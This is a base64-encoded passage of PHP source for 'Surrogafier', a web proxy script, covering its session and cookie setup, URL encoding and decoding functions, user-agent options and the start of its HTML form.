3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0